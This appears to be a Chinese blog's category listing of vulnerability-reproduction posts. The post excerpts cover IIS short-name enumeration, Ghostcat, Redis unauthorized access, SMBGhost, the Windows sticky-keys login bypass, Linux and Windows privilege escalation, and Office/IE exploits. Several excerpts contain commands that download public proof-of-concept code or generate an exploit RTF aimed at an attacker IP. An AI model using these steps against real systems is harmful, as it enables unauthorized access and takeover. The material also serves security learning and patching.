![](https://img-blog.csdnimg.cn/20201014180756913.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
漏洞复现
文章平均质量分 73
曈曚
这个作者很懒,什么都没留下…
展开
-
Microsoft IIS波浪号目录枚举/IIS短文件名枚举漏洞
Microsoft IIS在实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件。复现:/images//*~1*/a.aspx?aspxerrorpath=/危害: 攻击者可以利用“~”字符猜解或遍历服务器中的文件名,或对IIS服务器中的.Net Framework进行拒绝服务攻击。解决方案:修改注册列表HKLM\SYSTEM\CurrentControlSet\Control\FileSystem \NtfsDisable8dot3NameCreation的值为1,或者,原创 2020-06-11 00:26:36 · 8292 阅读 · 1 评论 -
win证书漏洞CVE-2020-0601
影响版本:Windows 10Windows Server 2016/2019依赖于Windows CryptoAPI的应用程序复现:查看一下本地windows证书,win+r输入certmgr.msc这里可以看到系统默认的ECC签名根证书,随便找一个导出:双击证书可以看到证书的详细信息:安装rubya@a-virtual-machine:~$ sudo apt install ruby//若提示进程被占用解决方法//ps -A | grep apt 列出使用的进程//原创 2020-05-23 22:10:35 · 890 阅读 · 0 评论 -
Nginx读取缓存-CVE-2017-7529
影响范围:Nginx 0.5.6 - 1.13.2复现://下载pocC:\Users\17273\Downloads\wordpress46-learn-master>git clone https://github.com/en0f/CVE-2017-7529_PoCCloning into 'CVE-2017-7529_PoC'...remote: Enumerating objects: 6, done.remote: Total 6 (delta 0), reused 0 (原创 2020-05-19 15:42:10 · 283 阅读 · 0 评论 -
win 漏洞CVE-2020-0796
受漏洞影响版本:Windows 10 Version 1903 for 32-bit SystemsWindows 10 Version 1903 for ARM64-based SystemsWindows 10 Version 1903 for x64-based SystemsWindows 10 Version 1909 for 32-bit SystemsWindows 10 Version 1909 for ARM64-based SystemsWindows 10 Version原创 2020-05-15 10:12:30 · 227 阅读 · 0 评论 -
幽灵猫漏洞复现
漏洞编号:CVE-2020-1938CNVD-2020-10487影响版本:Apache Tomcat = 67 <= Apache Tomcat < 7.0.1008 <= Apache Tomcat < 8.5.519 <= Apache Tomcat < 9.0.31解决措施:配置ajp配置中的secretRequired跟secret属性来限制认证 ;临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connec原创 2020-05-14 16:52:37 · 728 阅读 · 0 评论 -
6379 Redis 未授权访问
漏洞产生原因网络管理员安装Redis,没有修改默认端口,没有设置密码。环境搭建//下载压缩包wget http://download.redis.io/releases/redis-3.2.11.tar.gz//解压tar xzf redis-3.2.11.tar.gz//进入解压目录cd redis-3.2.11make//进入src目录cd src//拷贝redis-server到/usr/bincp redis-serrver /usr/bin//拷贝redis-cli到原创 2020-05-14 15:30:12 · 625 阅读 · 0 评论 -
win MS08-067漏洞复现
影响范围:Windows 2000Windows XPWindows Server 2003复现环境win xp :192.168.31.178kali :192.168.31.117原创 2020-05-12 18:29:44 · 594 阅读 · 0 评论 -
win未登录连按shift以管理员身份开启cmd漏洞
复现可用于自己电脑忘记密码使用强制关闭win7虚拟机后启动,点击启动启动修复:自动修复一段时间会弹出如下界面,点击取消让他继续修复:经过长时间修复后会出现无法修复的窗口,此时点击问题纤细信息:上面的问题签名不用管,直接拉到最下面会看到一个隐私声明,点击他:这时会出现一个txt文档,点击 文件->打开 :这时点击计算机进入系统盘打开windows ->system32文件夹,寻找连按五次触发的sethc文件:将他重命名,任意起一个名字,这里的目的是为了下次不会再触发他:原创 2020-05-11 14:18:38 · 622 阅读 · 1 评论 -
cve-2020-11652漏洞复现
介绍:Saltstack是基于python开发的一套C/S架构自动化运维工具,通过Saltstack运维人员可以实现在众多服务器上批量执行命令,提高运维效率,因而受到一些云主机商、私有云公司的青睐。然而,近日SaltStack被爆存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。其中,通过认证绕过漏洞,攻击者可构造恶意请求,绕过Salt Master...原创 2020-05-08 17:27:28 · 1519 阅读 · 0 评论 -
win CVE-2019-1388 UAC提权复现
影响系统Microsoft Windows Server 2019Microsoft Windows Server 2016Microsoft Windows Server 2012Microsoft Windows Server 2008 R2Microsoft Windows Server 2008Microsoft Windows RT 8.1Microsoft Windows...原创 2020-04-29 14:48:15 · 379 阅读 · 0 评论 -
winCVE-2017-8464漏洞复现
影响版本windows 10windwos RT 8.1windows 8.1windows 7windows server 2016windows server 2012 R2windows server 2012windows server 2008 R2windows server 2008复现需下载工具https://github.com/rapid7/metaspl...原创 2020-04-27 15:34:15 · 249 阅读 · 0 评论 -
ubuntu CVE-2017-16995 本地提权复现及修复
影响版本Linux内核:Linux Kernel Version 4.14 ~ 4.4Ubuntu版本:16.04.01~ 16.04.04查看权限及版本信息idcat /proc/version下载pocwget http://cyseclabs.com/pub/upstream44.c使用gcc进行编译,执行修复echo 1 > /proc/sys/kerne...原创 2020-04-26 11:32:10 · 390 阅读 · 0 评论 -
IE浏览器 CVE-2018-8174漏洞复现
漏洞介绍CVE2018-8174这个漏洞是针对ie浏览器的一个远程代码执行漏洞复现环境kaliwin7复现克隆文件git clone https://github.com/Sch01ar/CVE-2018-8174_EXP生成python CVE-2018-8174.py -u http://192.168.31.117/exploit.html -o exploit.rtf...原创 2020-04-23 17:08:38 · 408 阅读 · 0 评论 -
off CVE-2017-11882漏洞复现
CVE-2017-11882漏洞影响版本office 2003office 2007office 2010office 2013office 2016复现环境win7kalioffice 2016office2016分享链接:https://pan.baidu.com/s/15YrwY7_1OOFSgpsleS2O5A提取码:d1lo下载组件下载https://gith...原创 2020-04-22 11:31:14 · 350 阅读 · 0 评论